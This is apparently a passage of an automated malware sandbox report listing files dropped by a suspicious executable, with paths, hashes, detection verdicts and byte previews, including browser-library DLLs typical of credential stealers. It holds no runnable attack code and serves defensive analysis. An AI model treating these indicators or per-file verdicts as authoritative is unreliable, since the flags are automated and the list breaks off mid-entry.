Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WERFFC4.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	100020
Entropy (8bit):	3.0699325075947987
Encrypted:	false
SSDEEP:	3072:ODMo5HzWs3LR6MroYt7+RY05+Zj/ItqGM6OHM4mR9qnPDBRA7:j
MD5:	B2826EDB932A8A30B4F417171E16938B
SHA1:	0089F67D2197CF08D8546F2914B85FAE429A622E
SHA-256:	D27DD6BAB039507B9FA3934534666968095113F41752C7DDA0AF81F0CDFC19BD
SHA-512:	60C50650152661D6750D9BD4158757CE297911F9906F80C362A1DE47B03DE2300EE15A2EA7AEB8E5BC3B16B6A19C0E7FF8F45A883C2398C9A825952DFD7E9FE6
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\NWCXBPIUYI.xlsx

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.696724055101702
Encrypted:	false
SSDEEP:	24:amL3nXTtZkQxqip7hViX2Zka12//5V9PP+Iw5ZrfqoV2P8S7FpwmKxlTn:xXL4ivV62qaI/xVhVWZ+X8SxKDT
MD5:	1FFF6A639C738561CDC01BD436BA77C1
SHA1:	BAFB1D68D43B177330F701BA01CA1AD19CB4FBB8
SHA-256:	C2279E62766B7EFD46442641AECB3D9A0A25CE999296AC5BA9DA7BF18B2BDA92
SHA-512:	65EFD5B1E235EF6AD917EAF95E16E3287CA9720F3F0EE989667A1DBB651693580415182F64FFA7538986E2BE7F19AC030836DF62489BB49C42383F5FCD3FA5D2
Malicious:	false
Preview:	NWCXBPIUYIVIMEKOECOAETPCBVGOLLFSFYSIEWGCQXXYDTHBXCBBHRPJYJIIAKLIVVLYHTWFXTIMRQKNXJVKYWJRGDPRAMVTWAMYMVUPBCODOHNWGVUTTMDRCGQSWUENMIVFDVUFWRBWWAXFGLJCWHJESVSORVMBBPZHMGNOLAZEBTVVZJSGFZDCEBOKEELVIKVUJUJMYXSQXAWBVPYELDJUPEKNZGLXBNUDAABLCYAZVPQYBYHWASQZIKCOZDJXTSUXLKTDHJGSYIZZEGRZZNKKDUJMXSRWEDSBIZWRCWGJILNJNQKYISXAGNMQIWLOTRVEMVUEFFBMOVSUOJIHGLPPIKHURRWPPLYGZVGPLTDDNFHWCGDYBJWXDCKVHBTKZNVCGFMGAYMEPNBBZNTBERBXWUZQOWOXLEBSIXOWEZFEHNZYOEPBPYERLPMITANPJUDWNRNURGGOVPAFPUMUFAJJGHCGGSHCPAKCRSPZJJODRADCRCMYZDUAIWBDBDCPBUYVIRSRMZFDRIJQLLRUECYTILJEKDTTKMJATFJZGEOYRXTQSNGOENKASOPKMGWIWBAOMVIDHMXGNZFQLDKEJHBNZOCNFNIXNHOKWJNDTYAWGDGLYPWBQMSVSXTAECOYAEULSBSJPKKFQWDJACOZKJGANAIJBUMCLKLMRCAXPGXPFJMMBITWGGANYVNUIAJQWHHSWFPPASKHZAUXVZCDBKOWYHZAGAZKRYAWMXNYMSOVNKLUSFMEKYZMJTXYMLLTDLXXHKEEHBYXXFBEBTALQHMYPVOGJLATHUICOJIIQJINSCWPMNRVRLYYRHLAJBLVHEDYTFSDAVKINLNNEEURYKXHNXJMZIQWVOJNOTKRUWHSVTMXWRNJWLJJHPIPSFMIAIWBMNDXXCXXZCPDOKGRINVUVYHCJLFDJIZCOEFTHTRHTIWRPLTKLXPUDEBCIHBMDJOHZRRRYIUNRRIECVWDGMFRWLRMKDBNVTLGPDQC

C:\ProgramData\SQRKHNBNYN.docx

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.699088014379539
Encrypted:	false
SSDEEP:	24:iGmuvXb+mVV5Ule86OuFXvk64KaOMJQaJO7tZAWPN4rOnsK:/muvL+mP5Ule86OuraOMJZOHADqf
MD5:	BF469DD8C21F5160EACD49BB59E9A370
SHA1:	2CE4942C6CD2E22A644BAAFAED41DF9D0773477F
SHA-256:	9ECF07708D59E0B3AE33ED553978F4B2BB806B2FB805296F73F9270C4AE01B84
SHA-512:	FBBB805B4C65902C67F2F432BA20FFF689FABDB3652702FA176369107F688C43923C9D729095F313425847E14B138E61117ED6C03E582F82B6426BBC2C481380
Malicious:	false
Preview:	SQRKHNBNYNETDCILWIKLNRYHJZUPCYVTJJKABYYNVEJZBFJGIUZEFUHCOZZISQELZULMAPFIBUSVGGSXSVZRNJXFVUEIKBQNARELKJEJZTEBGXIFTBGDXBSYFJKFICMLOMHZZSIJMPIXZMQULHAZWNOCSCLWTNJMCGVQAOPYTZVRLCKSUPSMWVOFCPJAONGQBPLMQUTZSFYRIBDZWBXIEDJISMCTGTYKEIXWVDVOGMFUNRJDNEGJLVWNACBBGIIRTAHGUMSLSIZNGTRAUGMZTVGLIAKLLKJGKBMXIFPOYCQXJZKJHTLNZGDCLMXTYOBGFAPOQCJGRAKORKGGWPBOJLOZATKDZYFDSONUZOGBFRDBUKZTVYZGXDEWUOXNWHMOIBVOWNWFGBHSDTQQKXWZEHQLAYIXOVZEEZNESKKWITYPIDCMFHTWVHMHFCGNEBNVBSSQHMRSWLHVMAZERIUFTRXEVZHKRXWOMGETJJFBRLFIBRGLAQKLDFZEGHLZSVAMXMNCCUROXGQOMDQJSKUNOGLGYYTVABESIDHASDRACLOFEWGPYLEORXSYDRDGPGOXHIAISBZBDRNVQJXXIBNBXMDSKXPBSCGKGPASGNOIDKIBFJWUIRQHZLXZQVHUEHMHTRDWKGJVQHWFQEBJIBQLDWQHOQLXSPFPLWPYZROYDAQOOOYKTPVFQXLMLRDYSVXVAWCEGVSHGDVSHONQUAVCBBHJRTIJAYXUILHNGHIXFJPJFAUDIJFORYJZHNAXLWYBLWKCVJLUJIGBYGSEWFJFIROQQXBVEJEPGVYKSDGTPKJAXDLAEHUXWDHSNXZPAKHXDOWTIFIVFZHYQJCDKOBOMCFVMEKARJULRZEOXVQKSLPWYLMLCYLKXCIELPAZNPRENTCWPNMFETAJHSENFDLPGHKVHIIHECDTQGWZMNTMEHNJFXFUGFJMWUXXGOIHOBSONRLSITUXOCRFNCIJNPHZABGDPAFATRMRCPXROMUN

C:\ProgramData\SQRKHNBNYN.xlsx

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.699088014379539
Encrypted:	false
SSDEEP:	24:iGmuvXb+mVV5Ule86OuFXvk64KaOMJQaJO7tZAWPN4rOnsK:/muvL+mP5Ule86OuraOMJZOHADqf
MD5:	BF469DD8C21F5160EACD49BB59E9A370
SHA1:	2CE4942C6CD2E22A644BAAFAED41DF9D0773477F
SHA-256:	9ECF07708D59E0B3AE33ED553978F4B2BB806B2FB805296F73F9270C4AE01B84
SHA-512:	FBBB805B4C65902C67F2F432BA20FFF689FABDB3652702FA176369107F688C43923C9D729095F313425847E14B138E61117ED6C03E582F82B6426BBC2C481380
Malicious:	false
Preview:	SQRKHNBNYNETDCILWIKLNRYHJZUPCYVTJJKABYYNVEJZBFJGIUZEFUHCOZZISQELZULMAPFIBUSVGGSXSVZRNJXFVUEIKBQNARELKJEJZTEBGXIFTBGDXBSYFJKFICMLOMHZZSIJMPIXZMQULHAZWNOCSCLWTNJMCGVQAOPYTZVRLCKSUPSMWVOFCPJAONGQBPLMQUTZSFYRIBDZWBXIEDJISMCTGTYKEIXWVDVOGMFUNRJDNEGJLVWNACBBGIIRTAHGUMSLSIZNGTRAUGMZTVGLIAKLLKJGKBMXIFPOYCQXJZKJHTLNZGDCLMXTYOBGFAPOQCJGRAKORKGGWPBOJLOZATKDZYFDSONUZOGBFRDBUKZTVYZGXDEWUOXNWHMOIBVOWNWFGBHSDTQQKXWZEHQLAYIXOVZEEZNESKKWITYPIDCMFHTWVHMHFCGNEBNVBSSQHMRSWLHVMAZERIUFTRXEVZHKRXWOMGETJJFBRLFIBRGLAQKLDFZEGHLZSVAMXMNCCUROXGQOMDQJSKUNOGLGYYTVABESIDHASDRACLOFEWGPYLEORXSYDRDGPGOXHIAISBZBDRNVQJXXIBNBXMDSKXPBSCGKGPASGNOIDKIBFJWUIRQHZLXZQVHUEHMHTRDWKGJVQHWFQEBJIBQLDWQHOQLXSPFPLWPYZROYDAQOOOYKTPVFQXLMLRDYSVXVAWCEGVSHGDVSHONQUAVCBBHJRTIJAYXUILHNGHIXFJPJFAUDIJFORYJZHNAXLWYBLWKCVJLUJIGBYGSEWFJFIROQQXBVEJEPGVYKSDGTPKJAXDLAEHUXWDHSNXZPAKHXDOWTIFIVFZHYQJCDKOBOMCFVMEKARJULRZEOXVQKSLPWYLMLCYLKXCIELPAZNPRENTCWPNMFETAJHSENFDLPGHKVHIIHECDTQGWZMNTMEHNJFXFUGFJMWUXXGOIHOBSONRLSITUXOCRFNCIJNPHZABGDPAFATRMRCPXROMUN

C:\ProgramData\UOOJJOZIRH.docx

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.694311754777018
Encrypted:	false
SSDEEP:	24:A8RGU2wNw6pbc5fP6UBtRzjn+4sNp3GYuf5/4dImDNR4+R00JOGJP89a:Aw4w9h+fiUBtJj+44pc3mDL4+R0MVJ/
MD5:	61908250A5348CC047FF15260F730C2B
SHA1:	CBCF34156EAE25B328A926E21008598EE8D1CBDE
SHA-256:	8700BF8369D39FD5DF142F9482CE8860BD8A26A3304EFBC57CBF9E45782C7A3A
SHA-512:	BCAB9A36BF1111B05BC52D8921CAC19ABC0FA18D93EA4EB9866DF4B31624FFCA2FF55A09C5051DC2AECAB18828BA8FDA5F31FA0F1E1B7CDC51DF39041E2A82F3
Malicious:	false
Preview:	UOOJJOZIRHPVBWNJCWUSWUNTMYTRIXAVHMVNTYLIPCAYUDIDHLMFMKJROINQAVRXUZLNINNJJSHFEFPSZPLVVWBUDRECRECFHEVVEZDHIFPUKQTLDLWAAKNHNLRQDSPWEEVMZICDCINAORJHMIUUNNJHMWJLZHCNXQIZIPHJPLEDKWATEVYJSWRRMCEJGQXHFBOGXKHJFORHFMGMLTTZJKPJBYMKZVWGZAIGHCFNXGRNDDLJZMCZBXDTQVGPSMNLFNFDHXXCXDJJUNSVHDRBZEZFIUQIYSJVDHEFPPPROTSFKVYAURVOKTIKGYYSWJMCPHHISKCOIVXEIQWZICSWMZJVHXNBACFJZRIEQPOISHMZILEXPCMYBSQRASRNWPSMMYPWJFEXHUUJQAMZDZSIKVETWBZUQBTDCCOYIIJFYYHXPZIUCZRQQFYTKLLGWQPTPZJIZHUEFVCDUNPMVORWJRIAYGRRAHBFWKSAMTDEVSHQXJBHBMOINFGNSRFJDWPSMFABPWRZHIOIPNMLHKGNVWQJYVTWLEZDGMBOJLNHPJKWMHWBVAEGELRTQORSRZQBNXOXEHQJHOEQVNZZJSGWQGINLWNPWFSJNPGRBFOBAEJAOEEMVKZTQZEVVODQLWGPNPNOPXEXLEESZERAPVAPHAUNNCEHTNMFJYBTYGSNGBIEDWGUTNCJDESWGYITWPGBEFVMZYUYPQOQBFITFPUQTWZNQFLWVTMUIAOXBCINJDYCHTXVFQFJQSMNUTYABAAOGGEUKHMDYKLCSGIBIFQSYOIRBUYVSCPDGMVNAQBKZPEKHNRNDPIHOUUTPJDKDOACRPOMZOQCOIAOBNPJLJIYDLQLQUMPIRAMVWNBCMMWFDLTUGWRDVGNHOOODYTHAGWDMJKRVJZFYCVLFLQUWEILFSEPBEADHBHFVWZGUZKNXQCRSBRLGIVTWCSHGFTTTPQAKFWFDXDYXWAWDKWXXTMSJSVOBRAYZGGBDPJOGLIZ

C:\ProgramData\VAMYDFPUND.docx

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.690028473124583
Encrypted:	false
SSDEEP:	24:nCtOJ8AJzDzL/RXD03mp5reBXnqW8rdYu942ZCpjtJHU2coh:nsnA9/Z03y5qXnD0Yz0qjtJpN
MD5:	1E5D6B27E451F2406E5ED97F51985EE1
SHA1:	EDE59763DC7E1275594BDBB4EF90F9FEE78E946C
SHA-256:	A239ED81C44DBF3A8F7F28604058DE45B82FB3D596779B6B889837B2FE34A886
SHA-512:	619426DCC7B7C18488EC96D5474A5AA62EE4B1E7B52D8550B6A875AF0A19E02772D30142D9DC6986750732671605C7FF31E1F919CC6D121531ECBF0AE092E215
Malicious:	false
Preview:	VAMYDFPUNDEKDDABFYGQUEJPDEJQRXUZJGWCCCFXBISLBAZPZFZUOPASIBSPZLUDDUPRUHUUIJHOSYOAZNPTVHZSOVZRGZOUKAQEHTNLFNGLYDYUCGZPLLLOEHMTCCHZKQTFZGYFXUPESPRXRPJCGBDDSERLKFESFYUBNGVYLYUPKGUHNHSJITKDYFMCKPMQIQVZAFMCKDCYROFZHMGJMQRWYUHYHVRTNVUYOJXTDHGZTNEIQMQCBZXDPFJFNGRNBVMQWFGMLOWQCFSJCOQJGHEUOCLNTWHNHAGOTODKZYNINGMKGKTSEOLBKYRISYDHZOZINVXDDFVINOGNYWBEAYTTXSMSWAEGHZLSECWGHVUJJVTTQREREZKVNURFBXKMFFSJVVWOEKHLPTCOWUJHWSDFUKDNLAGSWYUGJMRJXXQRDDRLFRUUNRAXNLOUYXFWKVJGUQJJHPLTQELSOSFVIKIJHQPVLNQGQRDFLHUOUWYTAHHQSFZQBHLQJWUJVJPUBUAQTFOTVGLOZARCSHXCGYQYIDNDEHNFGLALSEIYWKOMVZTQBJZGRBJPSSWZPZKRLWDCYXTKIVIEXXRVZGNCFGSOUZLWFLDVXTEBFKTOHHOOJYSVZPFZXBJVQSOAXJEZIKYMAJHZMJPCAITWVFULTXNZLTXOUQONILVMPIEJGACXWGOEWJOJBLQJHQVHEYUQGLOZPDZOSSPVSZDXLGREZBQIVSASMXXLOQBKYWGPWRRHSSMYHGWBDFPDMXUISJUJUHAMPPRVABJXFEHOJLFPPRVMCBCSXCBNPGOOXIZIQFZDERGWQTALQWJYKPHMFIFYATLSCGMSHBWQYFHEGZQGQPMOIIHVVZQXVAUPPNJCVRKBVFXELRZEQZPLXOQQSXNGDZEGAJZDGSCYSLPQBSDTSQNIRNOZGTIBFJTEPZSUWIUBLEIVPBBHHLLIQQIUIIUARIYFPPNOAZPLXJGSPZJIXJTYLKJEEICOIZEUUYWP

C:\ProgramData\ZQIXMVQGAH.docx

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.702263764575455
Encrypted:	false
SSDEEP:	24:QUkKzRRr64jMMhcqBDi9yWJqsBFhli3VZ6i0:QUkCe4j/hI9yWJnvi3Vf0
MD5:	1680F18135FD9FE517865D4B70BCA69F
SHA1:	CE72CFB81AB690709C2C5BBF40348F829C87813B
SHA-256:	0F4384BA6CC62588912ACEBE97E6E00A03D1145AFAF38BDE22023CA303B22CA0
SHA-512:	E63A46F382399DE9A52F82325302CCFF8184246D4A126EDCC98283B6CBC77D4330A01A704BA4E29144A2A37D6E06F9AF22383A00ACC2394E827DC97748171585
Malicious:	false
Preview:	ZQIXMVQGAHDITDJZGGBRVMLECQSWORTZSLVRPVEGPWPVZTSCUAAOZEHEMQBFXYQHAHJZSDLBFWCHSGHULCPYSYSQXRZJWEBIQXUUBQWRWTEIEYXQNQSWSIFSZRCKKPIEMFCPWGUCQQMTSHZBSZVTRBPCPEJUOTTXWFTZMIACKGYGCKGMCSBDEWSYMPFVNOOLZEARTYUPCWTOBACIPWHFPWORDPLQMNLMUZNAKOQVSKHKIFLPCYEHDDRRDQOYCYQVULYYOTKIZPSPBGJRCSTMNKECWGATNMXDLHHCEVMIAXORCUUBFYRDSANZMOGABCQIQLFHTBGKKNPDKITRXVRKSKNVGMYCWRZQDVIMHLJLZRTYAAEHTNREDULDCWBSZMMNIANUNAFOGWCASXNKHREAUCUWLFKPTBHSSBGWNPWTUBBQMZWBLBJUGDBYRIMWQJRPSOWJXAJGBKZNEPJRNRYUSGQVPTEMKUOEFNAJOSUDQYVKPUJCZGEGCSKJLVBNJUHWENWOTATKRZDPPHLZRTEDRFFPOSXJYWZGCANYHHLHXXVTSSYPKKRRPYFRZWPUNTSEFRSCUYISMVFYBIPXTBGXLELYMXPWVIFHICARYLACSUYONWBWTORCZTHJFSTTFVOFCJFCNAETZOVMYJPCQMLJESIRJYXODJQXZDNJABIYMTRLKATOAVVXTUZSVSRMUIPQSCLFLDHXPUIRKARFNWIVJCRHDPDVWJMVIMIYEVDEIYZXDMZFAKSSTYCAXXIWXKFLTNQLSXXZMPIQZYDSHVASWFVUHVXSYXSNAYZOGEQZXYDMZBHUZSYGXGRDAZTEOKPXEATMDEMGOQLFIBNDPAXRWXZXMBHAXSODDRKSUOGIMMNADLIRGHDFDTKKQAFWAYTUNQJNECGAKAPULJFXENSHPMQGUWBJJTPVTDADKCEVKGQOXSCANLNQNJAWKDBVBIWICEASXDEHDCNCUIOBUKTINVKEPNITJZRLWNHBVANB

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Win64.Evo-gen.32634.31069.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: LXoASvZRu1.exe, Detection: malicious, Browse Filename: nXXx6yL69w.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Trojan.PWS.RedLineNET.9.27772.28937.exe, Detection: malicious, Browse Filename: Gpeym6icI3.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: dc8laldmc8.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Win64.Evo-gen.32634.31069.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: LXoASvZRu1.exe, Detection: malicious, Browse Filename: nXXx6yL69w.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Trojan.PWS.RedLineNET.9.27772.28937.exe, Detection: malicious, Browse Filename: Gpeym6icI3.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: dc8laldmc8.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\ndfbaljqaqzm\dckuybanmlgp.exe

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\bKj5ORDxbqgwdZav4hyONQmM.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	11214848
Entropy (8bit):	7.97772484802616
Encrypted:	false
SSDEEP:	196608:oPnV1Bk/fRaGxUCBIORz5Z2YoZX0tMmp6tgq1D//XxdgPxwdT:oPKfR/UCBF+dZX0tMft/vxdgpG
MD5:	B091C4848287BE6601D720997394D453
SHA1:	9180E34175E1F4644D5FA63227D665B2BE15C75B
SHA-256:	D0B06CA6ECE3FEF6671FA8ACD3D560A9400891ABCD10F5CEDCFE7BD1E6050DFE
SHA-512:	A3B3663FD343389AEE2CBF76F426401D436992B2B56CEA3B60E9C2E385510FA874FA45B2AC75703074F0303934C4223EAEE1983851374A2E753FD0302042CC5A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 88%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d....L.f..........#.................y..........@.............................@............ ...................................................f.d.......X,..`...*...........................................v..(... ..8...............h............................text....~.......................... ..`.rdata..............................@..@.data...h...........................@....pdata..............................@..@.00cfg..............................@..@.tls................................@....text0...4+......................... ..`.text1..8...........................@....text2..\... .....................`..h.rsrc...X,.........................@..@........................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
